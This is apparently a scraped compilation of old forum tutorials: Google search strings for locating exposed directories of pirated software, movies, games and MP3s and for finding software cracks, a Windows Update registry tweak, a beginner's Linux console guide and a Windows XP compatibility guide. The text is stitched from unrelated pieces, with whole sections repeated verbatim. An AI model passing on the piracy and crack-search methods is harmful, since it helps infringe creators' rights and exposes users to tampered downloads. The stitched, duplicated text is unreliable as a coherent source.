I hope you enjoyed this tutorial, and I saw that recently a book and an article was written on the very same topic. I havn't read them as of yet, but check em out, and get back to me if you feel I missed something important and should include anything else.
intitle:"index of" "google hacks" ebook
Ps. I've said it before, I'll say it again... BE CREATIVE.
You'll be surprised what you can find.
just type crack: app name
Google secrets
--------------------------------------------------------------------------------
method 1
?ww.google.com
put this string in google search:
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Notice that i am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.
voila!
method 2
?ww.google.com
put this string in google search:
?intitle:index.of? mp3
You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson
--------------------------------------------------------------------------------
method 1
?ww.google.com
put this string in google search:
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Notice that i am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.
voila!
method 2
?ww.google.com
put this string in google search:
?intitle:index.of? mp3
You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson
Google Crack Search
just type crack: app name
example: crack: flashget 1.6a
http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=crack%3A+flashget+1.6a
example: crack: flashget 1.6a
http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=crack%3A+flashget+1.6a
Go to Windows updates anonymously
Would you like to use the Windows Update feature without being forced to register with Microsoft? OK then, this is what you can do:
Launch good ol' Regedit.
Go down to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion.
Look for a value named RegDone. If it isn't there create a new value with that name.
Right click the new value and choose Modify. Make the value 1.
Close Regedit and
Enjoy!
Launch good ol' Regedit.
Go down to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion.
Look for a value named RegDone. If it isn't there create a new value with that name.
Right click the new value and choose Modify. Make the value 1.
Close Regedit and
Enjoy!
Getting started with Linux for nOObs!
I. What is Linux?
II. Trying it out
III. Installing
IV. What to do now
V. The Console
Intro:
This tutorial is written with the total Linux n00b in mind.
I've seen too many n00bs get totally left in the dark by asking what
the best distro is. They seem to only get flooded with too many
answers in so short a time. I'm a little bit of a n00b too, so I know
how it feels. I will cover a grand total of two basic distros. You may
learn to strongly prefer other ones (I do!) but this is just to get
you started. I touch on a number of topics that would be impossible to
go into in depth in one tutorial, so I encourage you to actively seek
out more about the concepts I make reference to.
I. What is Linux?
Linux is basically an operating system (OS for short). The Windows
machine you're (probably) using now uses the Mcft Windows
operating system.
Ok, so what's so different about Linux?
Linux is part of a revolutionary movement called the open-source
movement. The history and intricacies of that movement are well beyond
the scope of this tutorial, but I'll try and explain it simply. Open
source means that the developers release the source code for all their
customers to view and alter to fit what they need the software to do,
what they want the software to do, and what they feel software should
do. Linux is a programmer?s dream come true, it has the best compilers,
libraries, and tools in addition to its being open-source. A
programmer's only limit then, is his knowledge, skill, time, and
resolve.
What is a distro?
A distro is short for a distribution. It's someone's personal
modification or recreation of Linux.
What do you mean by distros? I just want Linux!
Since Linux is open source, every developer can write his own version.
Most of those developers release their modifications, or entire
creations as free and open source. A few don't and try to profit from
their product, which is a topic of moral debate in the Linux world.
The actual Linux is just a kernel that serves as a node of
communication between various points of the system (such as the CPU,
the mouse, the hard drive etc.). In order to use this kernel, we must
find a way to communicate with it. The way we communicate is with a
shell. Shells will let us enter commands in ways that make sense to
us, and send those commands to the kernel in ways that makes sense to
it. The shell most Linux's use it the BASH shell (Bourne Again SHell).
The kernel by itself will not do, and just a shell on top of the kernel
won?t either for most users; we are then forced to use a distribution.
What distro is best?
This is not the question you want to ask a large number of people at
one time. This is very much like asking what kind of shoe is best,
you'll get answers anywhere from running shoes, hiking boots, cleats,
to wingtips. You need to be specific about what you plan on using
Linux for, what system you want to use it on, and many other things. I
will cover two that are quick and easy to get running. They may not be
the best, or the quickest, or the easiest, or the most powerful, but
this is a guide for getting started, and everyone has to start
somewhere.
How much does it cost?
computer + electricity + internet + CD burner and CDs = Linux
I'll let you do your own math.
Note however that a few do charge for their distros, but they aren't
all that common, and can be worked around. Also, if you lack internet
access or a CD burner or CDs or you just want to, you can normally
order CDs of the distro for a few dollars apiece.
II. Trying it out.
Wouldn't it stink if you decide to wipe out your hard drive and install
Linux as the sole operating system only to learn that you don't know
how to do anything and hate it? Wouldn?t it be better to take a test
drive? 95 out of a 100 of you know where I'm heading with this section
and can therefore skip it. For those of you who don't know, read on.
There are many distros, and most distros try to have something that
makes them stand out. Knoppix was the first live-CD distro. Although
most of the other main distros have formed their own live-CDs, Knoppix
is still the most famous and I will be covering how to acquire it.
A live-CD distro is a distribution of Linux in which the entire OS can
be run off of the CD-ROM and your RAM. This means that no installation
is required and the distro will not touch your hard disk or current OS
(unless you tell it to). On bootup, the CD will automatically detect
your hardware and launch you into Linux. To get back to Windows, just
reboot and take the CD out.
Go to the Knoppix website (www.knoppix.com). Look around some to get
more of an idea on what Knoppix is. When you're ready, click Download.
You'll be presented with a large amount of mirrors, some of which have
ftp and some of which have http also.
note: the speed of the mirrors vary greatly, and you may want to
change mirrors should your download be significantly slow.
Choose a mirror. Read the agreement and choose accept. You'll probably
want to download the newest version and in your native language (I'll
assume English in this tutorial). So choose the newest file ending in
-EN.iso
note: you might want to also verify the md5 checksums after the
download, if you don't understand this, don't worry too much. You just
might have to download it again should the file get corrupted (you'll
have to anyway with the md5). Also, a lot of times a burn can be
botched for who-knows what reason. If the disk doesn?t work at all,
try a reburn.
Once the .iso file is done downloading, fire up your favorite
CD-burning software. Find the option to burn a CD image (for Nero, this
is under copy and backup) and burn it to a disk. Make sure you don't
just copy the .iso, you have to burn the image, which will unpack all
the files onto the CD.
Once the disk is done, put it in the CD-ROM drive and reboot the
computer. While your computer is booting, enter CMOS (how to get to
CMOS varies for each computer, some get to it by F1 or F2 or F3, etc.)
Go to the bootup configuration and place CD-ROM above hard disk. Save
changes and exit. Now, Knoppix will automatically start. You will be
presented with a boot prompt. Here you can input specific boot
parameters (called cheatcodes), or just wait and let it boot up using
the default.
note: Sometimes USB keyboards do not work until the OS has somewhat
booted up. Once you?re actually in Knoppix, your USB keyboard should
work, but you may not be able to use cheatcodes. If you need to,
attach a PS/2 keyboard temporarily. Also, if a particular aspect of
hardware detection does not work, look for a cheatcode to disable it.
Cheatcodes can be found on the Knoppix website in text format (or in
HTML at www.knoppix.net/docs/index.php/CheatCodes).
Upon entering the KDE desktop environment, spend some time exploring
around. Surf the web, get on IM, play some games, explore the
filesystem, and whatever else seems interesting. When your done, open
up the console (also called terminal, xterm, konsole, or even shell)
and get ready for the real Linux. See section V for what to do from
here.
note: to function as root (or the superuser) type su.
It's not entirely necessary that you are a console wizard at this point
(although you will need to be sooner or later), but a little messing
around wont hurt.
Just as there are many Linux distros, so there are also many types of
Knoppix. I won?t go into using any of them, but they should all be
somewhat similar. Some of them include: Gnoppix, Knoppix STD, Morphix,
and PHLAK. Other distros also have live-CDs.
III. Installing
I will guide you through the installation of Fedora Core 2. The reason
I chose Fedora is because it contains the Anaconda installer, which is
a very easy installer.
Download the discs from here:
http://download.fedora.redhat.com/pub/fedo...ore/2/i386/iso/
If the link doesn?t work, then go to www.redhat.com and navigate your
way to downloading Fedora (odds are your architecture is i386).
You will want to download the FC2-i386-disc1.iso and burn it using the
method for Knoppix. Do the same for all the discs.
Note: do NOT download the FC2-i386-SRPMS-disc1.iso files.
Now, once you?re ready, insert disc 1 into the drive and reboot.
The installer should come up automatically (if not, then see the
Knoppix section on CMOS).
Note: installer may vary depending on version. Follow directions best
you can using your best judgement.
1. Language: choose English and hit enter
2. Keyboard: choose us (probably) and hit enter
3. Installation media: choose local CDROM (probably) and hit enter
4. CD test: you can choose to test or skip
5. Intro: click next
6. Monitor: choose your monitor to the best of your ability, if you?re unsure, choose on of the generic ones
7. Installation type: choose which ever you want (default should be fine)
8. Partition: choose to automatically partition (unless you know what you?re doing)
9. Partition: the default partitions should suffice
10. Boot loader: choose your boot loader (grub for default)
11. Network settings: choose the correct settings for your network (generally, don?t mess with anything unless you know what you?re doing)
12. Firewall: you can choose a firewall if you want to
13. Language support: choose any additional language support you want
14. Time zone: pick your time zone
15. Root password: set your root password (root is the admin, or superuser; you want it to be very secure)
16. Packages: choose which packages you want to install. For hard drives over 10 gigs, you can go ahead and choose all
packages (depending on how much disk space you plan on taking up later, note that most everything you?ll need is a package: the exception
being large media files). You will generally want to install all the packages you think you?ll ever need. Two desktop environments aren?t necessary.
Make sure you have at least one and the X window system! (if you want a GUI that is). I suggest you get all the servers too.
Note: Knoppix uses the KDE Desktop environment
17. Make sure everything is all right, and install
18. You can create a boot disk if you want
Note: Desktop environments might have a set-up once you enter them
IV What to do now
Now that you have a Linux set-up and running, there are many paths you
can head down. First, you should explore your GUI and menus. Browse
the web with Mozilla, get on IM with GAIM, play games, add/delete
users, check out OpenOffice, and anything else that might be part of
your daily use. Also, set up a few servers on your computer to play
around with, specifically SMTP (*wink*wink*), FTP (vsftp is a good
one), and either telnet or SSH (OpenSSH is a good one). The setup and
use of these are beyond the scope of this tutorial, but researching
them could prove to be very educational.
The filesystem
The Linux (and Unix) filesystem is different from the normal Windows
that you?re used to. In Windows, your hard drive is denoted ?C:\? (or
whatever). In Linux, it is called the root directory and is denoted
?/?. In the / directory, there are several default folders, including
dev (device drivers) mnt (mount) bin (binaries) usr (Unix System
Resources) home, etc, and others. I encourage you to explore around
the whole file system (see section V) and research more.
Once you are well situated, it?s time to get into the heart and power
of Linux: the console. The next session will guide you through it and
set you on the path to finding out how to do stuff for yourself. You
will (probably) want to start learning to rely less and less on the
GUI and figure out how to do everything through the console (try
launching all your programs from the console, for example).
V. The Console
The Console might look familiar to DOS if you?ve ever used it. The
prompt should look something like the following:
AvatharTri@localhost avathartri$
With the blinking _ following it. This can vary greatly as it is fully
customizable. Let?s get started with the commands.
First, let?s explore the file system. The command ls will "list" the
files in the current directory. Here?s an example:
AvatharTri@localhost avathartri$ ls
It should then display the contents of the current directory if there
are any. Almost all commands have options attached to them. For
example, using the -l option, which is short for "long" will display
more information about the files listed.
AvatharTri@localhost avathartri$ ls -l
We will get into how to find out the options for commands and what
they do later.
The second command to learn will be the cd command, or "change
directory". To use it, you type cd followed by a space and the
directory name you wish to go into. In Linux, the top directory is /
(as opposed to C:\ in Windows). Let?s get there by using this command:
AvatharTri@localhost avathartri$ cd /
AvatharTri@localhost /$
Now, we are in the top directory. Use the ls command you learned
earlier to see everything that?s here. You should see several items,
which are directories. Now, let?s go into the home directory:
AvatharTri@localhost /$ cd home
AvatharTri@localhost home$
And you can now ls and see what?s around. In Linux there are some
special symbol shortcuts for specific folders. You can use these
symbols with cd, ls, or several other commands. The symbol ~ stands
for your home folder. One period . represents the directory your
currently in. Two periods .. represent the directory immediately above
your own. Here?s an example of the commands:
AvatharTri@localhost home$ cd ~
AvatharTri@localhost avathartri$
This moved us to our user?s personal directory.
AvatharTri@localhost avathartri$ cd .
AvatharTri@localhost avathartri$ cd ..
AvatharTri@localhost home$
The cd .. moved us up to the home directory.
As you?ve probably noticed by now, the section behind the prompt
changes as you change folders, although it might not always be the
case as it?s up to the personal configuration.
You can use these symbols with the ls command also to view what is in
different folders:
AvatharTri@localhost home$ ls ~
AvatharTri@localhost home$ ls ..
And you can view what is in a folder by specifying its path:
AvatharTri@localhost home$ ls /
AvatharTri@localhost home$ ls /home
The last command we will cover as far as finding your way around the
filesystem is the cat command. The cat command will show the contents
of a file. Find a file by using the cd and ls commands and then view
its contents with the cat command.
AvatharTri@localhost home$ cd [directory]
AvatharTri@localhost [directory]$ ls
AvatharTri@localhost [directory]$ cat [filename]
Where [directory] is the directory you want to view and [filename] is
the name of the file you want to view. Omit the brackets. Now, if the
file you viewed was a text file, you should see text, but if it wasn?t,
you might just see jumbled garbage, but this is ok. If the file goes
by too fast and goes off the screen, don?t worry, we will get to how
to scroll through it later.
One of the most useful commands is the man command, which displays the
"manual" for the command you want to know more about. To learn more
about the ls command:
AvatharTri@localhost home$ man ls
And you will see the manual page for ls. It displays the syntax, a
description, options, and other useful tidbits of information. Use the
up and down arrows to scroll and press q to exit. You can view the
manual pages for any command that has one (most commands do). Try this
out with all the commands that you know so far:
AvatharTri@localhost home$ man cd
AvatharTri@localhost home$ man cat
AvatharTri@localhost home$ man man
One very crucial option to the man command is the -k option. This will
search the descriptions of manual pages for the word you specify. You
can use this to find out what command to do what you need to do. For
example, let?s say we want to use a text editor:
AvatharTri@localhost home$ man -k editor
And you should see a list of apps with a short description and the
word "editor" in the description.
With a blank prompt, you can hit tab twice for Linux to display all
the possible commands. For Linux to display all the commands beginning
with a certain letter or series of letters, type those letters and hit
tab twice.
Note: This is actually a function of BASH and not Linux, but BASH is
the default Linux shell.
Now that you know a little about moving around the filesystem and
viewing manual pages, there is one more trick that we will cover to
help you out. Remember how the man pages were scrollable as in you
could use the arrow keys to scroll up and down? That is because the
man pages use something called the less pager. We?re not going to go
into what this does exactly and how it works, but that?s definitely
something that you will want to look up. Here?s how to use the less
pager with a file:
AvatharTri@localhost home$ cat [filename] | less
That uses something called a pipe. The line is the vertical line above
enter on your keyboard. Briefly, what this does is take the output
from the cat command, and stick it in the less pager. By doing this,
you can view files that would normally run off the screen and scroll
up and down.
Some final commands to check out:
mkdir - make directories
cp - copy file
mv - move file
rm - remove file
rmdir - remove directory
grep - search a file for a keyword
pwd - display current working directory
top - display system resources usage (kill the program with control + c)
II. Trying it out
III. Installing
IV. What to do now
V. The Console
Intro:
This tutorial is written with the total Linux n00b in mind.
I've seen too many n00bs get totally left in the dark by asking what
the best distro is. They seem to only get flooded with too many
answers in so short a time. I'm a little bit of a n00b too, so I know
how it feels. I will cover a grand total of two basic distros. You may
learn to strongly prefer other ones (I do!) but this is just to get
you started. I touch on a number of topics that would be impossible to
go into in depth in one tutorial, so I encourage you to actively seek
out more about the concepts I make reference to.
I. What is Linux?
Linux is basically an operating system (OS for short). The Windows
machine you're (probably) using now uses the Mcft Windows
operating system.
Ok, so what's so different about Linux?
Linux is part of a revolutionary movement called the open-source
movement. The history and intricacies of that movement are well beyond
the scope of this tutorial, but I'll try and explain it simply. Open
source means that the developers release the source code for all their
customers to view and alter to fit what they need the software to do,
what they want the software to do, and what they feel software should
do. Linux is a programmer?s dream come true, it has the best compilers,
libraries, and tools in addition to its being open-source. A
programmer's only limit then, is his knowledge, skill, time, and
resolve.
What is a distro?
A distro is short for a distribution. It's someone's personal
modification or recreation of Linux.
What do you mean by distros? I just want Linux!
Since Linux is open source, every developer can write his own version.
Most of those developers release their modifications, or entire
creations as free and open source. A few don't and try to profit from
their product, which is a topic of moral debate in the Linux world.
The actual Linux is just a kernel that serves as a node of
communication between various points of the system (such as the CPU,
the mouse, the hard drive etc.). In order to use this kernel, we must
find a way to communicate with it. The way we communicate is with a
shell. Shells will let us enter commands in ways that make sense to
us, and send those commands to the kernel in ways that makes sense to
it. The shell most Linux's use it the BASH shell (Bourne Again SHell).
The kernel by itself will not do, and just a shell on top of the kernel
won?t either for most users; we are then forced to use a distribution.
What distro is best?
This is not the question you want to ask a large number of people at
one time. This is very much like asking what kind of shoe is best,
you'll get answers anywhere from running shoes, hiking boots, cleats,
to wingtips. You need to be specific about what you plan on using
Linux for, what system you want to use it on, and many other things. I
will cover two that are quick and easy to get running. They may not be
the best, or the quickest, or the easiest, or the most powerful, but
this is a guide for getting started, and everyone has to start
somewhere.
How much does it cost?
computer + electricity + internet + CD burner and CDs = Linux
I'll let you do your own math.
Note however that a few do charge for their distros, but they aren't
all that common, and can be worked around. Also, if you lack internet
access or a CD burner or CDs or you just want to, you can normally
order CDs of the distro for a few dollars apiece.
II. Trying it out.
Wouldn't it stink if you decide to wipe out your hard drive and install
Linux as the sole operating system only to learn that you don't know
how to do anything and hate it? Wouldn?t it be better to take a test
drive? 95 out of a 100 of you know where I'm heading with this section
and can therefore skip it. For those of you who don't know, read on.
There are many distros, and most distros try to have something that
makes them stand out. Knoppix was the first live-CD distro. Although
most of the other main distros have formed their own live-CDs, Knoppix
is still the most famous and I will be covering how to acquire it.
A live-CD distro is a distribution of Linux in which the entire OS can
be run off of the CD-ROM and your RAM. This means that no installation
is required and the distro will not touch your hard disk or current OS
(unless you tell it to). On bootup, the CD will automatically detect
your hardware and launch you into Linux. To get back to Windows, just
reboot and take the CD out.
Go to the Knoppix website (www.knoppix.com). Look around some to get
more of an idea on what Knoppix is. When you're ready, click Download.
You'll be presented with a large amount of mirrors, some of which have
ftp and some of which have http also.
note: the speed of the mirrors vary greatly, and you may want to
change mirrors should your download be significantly slow.
Choose a mirror. Read the agreement and choose accept. You'll probably
want to download the newest version and in your native language (I'll
assume English in this tutorial). So choose the newest file ending in
-EN.iso
note: you might want to also verify the md5 checksums after the
download, if you don't understand this, don't worry too much. You just
might have to download it again should the file get corrupted (you'll
have to anyway with the md5). Also, a lot of times a burn can be
botched for who-knows what reason. If the disk doesn?t work at all,
try a reburn.
Once the .iso file is done downloading, fire up your favorite
CD-burning software. Find the option to burn a CD image (for Nero, this
is under copy and backup) and burn it to a disk. Make sure you don't
just copy the .iso, you have to burn the image, which will unpack all
the files onto the CD.
Once the disk is done, put it in the CD-ROM drive and reboot the
computer. While your computer is booting, enter CMOS (how to get to
CMOS varies for each computer, some get to it by F1 or F2 or F3, etc.)
Go to the bootup configuration and place CD-ROM above hard disk. Save
changes and exit. Now, Knoppix will automatically start. You will be
presented with a boot prompt. Here you can input specific boot
parameters (called cheatcodes), or just wait and let it boot up using
the default.
note: Sometimes USB keyboards do not work until the OS has somewhat
booted up. Once you?re actually in Knoppix, your USB keyboard should
work, but you may not be able to use cheatcodes. If you need to,
attach a PS/2 keyboard temporarily. Also, if a particular aspect of
hardware detection does not work, look for a cheatcode to disable it.
Cheatcodes can be found on the Knoppix website in text format (or in
HTML at www.knoppix.net/docs/index.php/CheatCodes).
Upon entering the KDE desktop environment, spend some time exploring
around. Surf the web, get on IM, play some games, explore the
filesystem, and whatever else seems interesting. When your done, open
up the console (also called terminal, xterm, konsole, or even shell)
and get ready for the real Linux. See section V for what to do from
here.
note: to function as root (or the superuser) type su.
It's not entirely necessary that you are a console wizard at this point
(although you will need to be sooner or later), but a little messing
around wont hurt.
Just as there are many Linux distros, so there are also many types of
Knoppix. I won?t go into using any of them, but they should all be
somewhat similar. Some of them include: Gnoppix, Knoppix STD, Morphix,
and PHLAK. Other distros also have live-CDs.
III. Installing
I will guide you through the installation of Fedora Core 2. The reason
I chose Fedora is because it contains the Anaconda installer, which is
a very easy installer.
Download the discs from here:
http://download.fedora.redhat.com/pub/fedo...ore/2/i386/iso/
If the link doesn?t work, then go to www.redhat.com and navigate your
way to downloading Fedora (odds are your architecture is i386).
You will want to download the FC2-i386-disc1.iso and burn it using the
method for Knoppix. Do the same for all the discs.
Note: do NOT download the FC2-i386-SRPMS-disc1.iso files.
Now, once you?re ready, insert disc 1 into the drive and reboot.
The installer should come up automatically (if not, then see the
Knoppix section on CMOS).
Note: installer may vary depending on version. Follow directions best
you can using your best judgement.
1. Language: choose English and hit enter
2. Keyboard: choose us (probably) and hit enter
3. Installation media: choose local CDROM (probably) and hit enter
4. CD test: you can choose to test or skip
5. Intro: click next
6. Monitor: choose your monitor to the best of your ability, if you?re unsure, choose on of the generic ones
7. Installation type: choose which ever you want (default should be fine)
8. Partition: choose to automatically partition (unless you know what you?re doing)
9. Partition: the default partitions should suffice
10. Boot loader: choose your boot loader (grub for default)
11. Network settings: choose the correct settings for your network (generally, don?t mess with anything unless you know what you?re doing)
12. Firewall: you can choose a firewall if you want to
13. Language support: choose any additional language support you want
14. Time zone: pick your time zone
15. Root password: set your root password (root is the admin, or superuser; you want it to be very secure)
16. Packages: choose which packages you want to install. For hard drives over 10 gigs, you can go ahead and choose all
packages (depending on how much disk space you plan on taking up later, note that most everything you?ll need is a package: the exception
being large media files). You will generally want to install all the packages you think you?ll ever need. Two desktop environments aren?t necessary.
Make sure you have at least one and the X window system! (if you want a GUI that is). I suggest you get all the servers too.
Note: Knoppix uses the KDE Desktop environment
17. Make sure everything is all right, and install
18. You can create a boot disk if you want
Note: Desktop environments might have a set-up once you enter them
IV What to do now
Now that you have a Linux set-up and running, there are many paths you
can head down. First, you should explore your GUI and menus. Browse
the web with Mozilla, get on IM with GAIM, play games, add/delete
users, check out OpenOffice, and anything else that might be part of
your daily use. Also, set up a few servers on your computer to play
around with, specifically SMTP (*wink*wink*), FTP (vsftp is a good
one), and either telnet or SSH (OpenSSH is a good one). The setup and
use of these are beyond the scope of this tutorial, but researching
them could prove to be very educational.
The filesystem
The Linux (and Unix) filesystem is different from the normal Windows
that you?re used to. In Windows, your hard drive is denoted ?C:\? (or
whatever). In Linux, it is called the root directory and is denoted
?/?. In the / directory, there are several default folders, including
dev (device drivers) mnt (mount) bin (binaries) usr (Unix System
Resources) home, etc, and others. I encourage you to explore around
the whole file system (see section V) and research more.
Once you are well situated, it?s time to get into the heart and power
of Linux: the console. The next session will guide you through it and
set you on the path to finding out how to do stuff for yourself. You
will (probably) want to start learning to rely less and less on the
GUI and figure out how to do everything through the console (try
launching all your programs from the console, for example).
V. The Console
The Console might look familiar to DOS if you?ve ever used it. The
prompt should look something like the following:
AvatharTri@localhost avathartri$
With the blinking _ following it. This can vary greatly as it is fully
customizable. Let?s get started with the commands.
First, let?s explore the file system. The command ls will "list" the
files in the current directory. Here?s an example:
AvatharTri@localhost avathartri$ ls
It should then display the contents of the current directory if there
are any. Almost all commands have options attached to them. For
example, using the -l option, which is short for "long" will display
more information about the files listed.
AvatharTri@localhost avathartri$ ls -l
We will get into how to find out the options for commands and what
they do later.
The second command to learn will be the cd command, or "change
directory". To use it, you type cd followed by a space and the
directory name you wish to go into. In Linux, the top directory is /
(as opposed to C:\ in Windows). Let?s get there by using this command:
AvatharTri@localhost avathartri$ cd /
AvatharTri@localhost /$
Now, we are in the top directory. Use the ls command you learned
earlier to see everything that?s here. You should see several items,
which are directories. Now, let?s go into the home directory:
AvatharTri@localhost /$ cd home
AvatharTri@localhost home$
And you can now ls and see what?s around. In Linux there are some
special symbol shortcuts for specific folders. You can use these
symbols with cd, ls, or several other commands. The symbol ~ stands
for your home folder. One period . represents the directory your
currently in. Two periods .. represent the directory immediately above
your own. Here?s an example of the commands:
AvatharTri@localhost home$ cd ~
AvatharTri@localhost avathartri$
This moved us to our user?s personal directory.
AvatharTri@localhost avathartri$ cd .
AvatharTri@localhost avathartri$ cd ..
AvatharTri@localhost home$
The cd .. moved us up to the home directory.
As you?ve probably noticed by now, the section behind the prompt
changes as you change folders, although it might not always be the
case as it?s up to the personal configuration.
You can use these symbols with the ls command also to view what is in
different folders:
AvatharTri@localhost home$ ls ~
AvatharTri@localhost home$ ls ..
And you can view what is in a folder by specifying its path:
AvatharTri@localhost home$ ls /
AvatharTri@localhost home$ ls /home
The last command we will cover as far as finding your way around the
filesystem is the cat command. The cat command will show the contents
of a file. Find a file by using the cd and ls commands and then view
its contents with the cat command.
AvatharTri@localhost home$ cd [directory]
AvatharTri@localhost [directory]$ ls
AvatharTri@localhost [directory]$ cat [filename]
Where [directory] is the directory you want to view and [filename] is
the name of the file you want to view. Omit the brackets. Now, if the
file you viewed was a text file, you should see text, but if it wasn?t,
you might just see jumbled garbage, but this is ok. If the file goes
by too fast and goes off the screen, don?t worry, we will get to how
to scroll through it later.
One of the most useful commands is the man command, which displays the
"manual" for the command you want to know more about. To learn more
about the ls command:
AvatharTri@localhost home$ man ls
And you will see the manual page for ls. It displays the syntax, a
description, options, and other useful tidbits of information. Use the
up and down arrows to scroll and press q to exit. You can view the
manual pages for any command that has one (most commands do). Try this
out with all the commands that you know so far:
AvatharTri@localhost home$ man cd
AvatharTri@localhost home$ man cat
AvatharTri@localhost home$ man man
One very crucial option to the man command is the -k option. This will
search the descriptions of manual pages for the word you specify. You
can use this to find out what command to do what you need to do. For
example, let?s say we want to use a text editor:
AvatharTri@localhost home$ man -k editor
And you should see a list of apps with a short description and the
word "editor" in the description.
With a blank prompt, you can hit tab twice for Linux to display all
the possible commands. For Linux to display all the commands beginning
with a certain letter or series of letters, type those letters and hit
tab twice.
Note: This is actually a function of BASH and not Linux, but BASH is
the default Linux shell.
Now that you know a little about moving around the filesystem and
viewing manual pages, there is one more trick that we will cover to
help you out. Remember how the man pages were scrollable as in you
could use the arrow keys to scroll up and down? That is because the
man pages use something called the less pager. We?re not going to go
into what this does exactly and how it works, but that?s definitely
something that you will want to look up. Here?s how to use the less
pager with a file:
AvatharTri@localhost home$ cat [filename] | less
That uses something called a pipe. The line is the vertical line above
enter on your keyboard. Briefly, what this does is take the output
from the cat command, and stick it in the less pager. By doing this,
you can view files that would normally run off the screen and scroll
up and down.
Some final commands to check out:
mkdir - make directories
cp - copy file
mv - move file
rm - remove file
rmdir - remove directory
grep - search a file for a keyword
pwd - display current working directory
top - display system resources usage (kill the program with control + c)
Getting older programs to run on Windows XP
Most programs run properly on Windows XP. The exceptions are some older games and other programs that were written specifically for an earlier version of Windows. To run your program on Windows XP, you can try the following, Run the Program Compatibility Wizard. As an alternative, you can set the compatibility properties manually. Update your program, drivers, or hardware. These options are covered in detail below.
The Program Compatibility Wizard
This wizard prompts you to test your program in different modes (environments) and with various settings. For example, if the program was originally designed to run on Windows 95, set the compatibility mode to Windows 95 and try running your program again. If successful, the program will start in that mode each time. The wizard also allows you to try different settings, such as switching the display to 256 colors and the screen resolution to 640 x 480 pixels. If compatibility problems prevent you from installing a program on Windows XP, run the Program Compatibility Wizard on the setup file for the program. The file may be called Setup.exe or something similar, and is probably located on the Installation disc for the program. To run the Program Compatibility Wizard click Start, click Help and Support, click Find compatible hardware and software for Windows XP, and then, under See Also in the navigation pane, click "Program Compatibility Wizard."
Set the compatibility properties manually
As an alternative to running the Program Compatibility Wizard, you can set the compatibility properties for a program manually. The settings are the same as the options in the Program Compatibility Wizard. To set the compatibility properties for a program manually Right-click the program icon on your desktop or the shortcut on the Start menu for the program you want to run, and then click Properties. Click the Compatibility tab, and change the compatibility settings for your program.
The Compatibility tab is only available for programs installed on your hard drive. Although you can run the Program Compatibility Wizard on programs or setup files on a CD-ROM or floppy disk, your changes will not remain in effect after you close the program. For more information about an option on the Compatibility tab, right-click the option and then click "What's This."
Update your program or drivers
If your program does not run correctly after testing it with the Program Compatibility Wizard, check the Web for updates or other fixes, as follows:
Check the Web site of the program's manufacturer to see if an update or patch is available.
Check Windows Update to see if a fix is available for the program.
Click Home on the menu bar of Help and Support Center, then click Windows Update in the right pane.
If the program is a game that uses DirectX, ensure that you are using the latest version of DirectX. In addition, check the Web site of the manufacturer of your video card or sound card to see if newer drivers are available for either of them.
The Program Compatibility Wizard
This wizard prompts you to test your program in different modes (environments) and with various settings. For example, if the program was originally designed to run on Windows 95, set the compatibility mode to Windows 95 and try running your program again. If successful, the program will start in that mode each time. The wizard also allows you to try different settings, such as switching the display to 256 colors and the screen resolution to 640 x 480 pixels. If compatibility problems prevent you from installing a program on Windows XP, run the Program Compatibility Wizard on the setup file for the program. The file may be called Setup.exe or something similar, and is probably located on the Installation disc for the program. To run the Program Compatibility Wizard click Start, click Help and Support, click Find compatible hardware and software for Windows XP, and then, under See Also in the navigation pane, click "Program Compatibility Wizard."
Set the compatibility properties manually
As an alternative to running the Program Compatibility Wizard, you can set the compatibility properties for a program manually. The settings are the same as the options in the Program Compatibility Wizard. To set the compatibility properties for a program manually Right-click the program icon on your desktop or the shortcut on the Start menu for the program you want to run, and then click Properties. Click the Compatibility tab, and change the compatibility settings for your program.
The Compatibility tab is only available for programs installed on your hard drive. Although you can run the Program Compatibility Wizard on programs or setup files on a CD-ROM or floppy disk, your changes will not remain in effect after you close the program. For more information about an option on the Compatibility tab, right-click the option and then click "What's This."
Update your program or drivers
If your program does not run correctly after testing it with the Program Compatibility Wizard, check the Web for updates or other fixes, as follows:
Check the Web site of the program's manufacturer to see if an update or patch is available.
Check Windows Update to see if a fix is available for the program.
Click Home on the menu bar of Help and Support Center, then click Windows Update in the right pane.
If the program is a game that uses DirectX, ensure that you are using the latest version of DirectX. In addition, check the Web site of the manufacturer of your video card or sound card to see if newer drivers are available for either of them.
getting movies, mp3,games using google
okay lets keep this tutorial short. you want movies and games/mp3 / games and dont' know where to get them, thank god there is google.com
goto www.google.com
put this string in
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
notice that iam only changing the word after the parent directory, change it to what you want and you will get lots of goods. i got plenty of movie sites heh.
goto www.google.com
put this string in
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
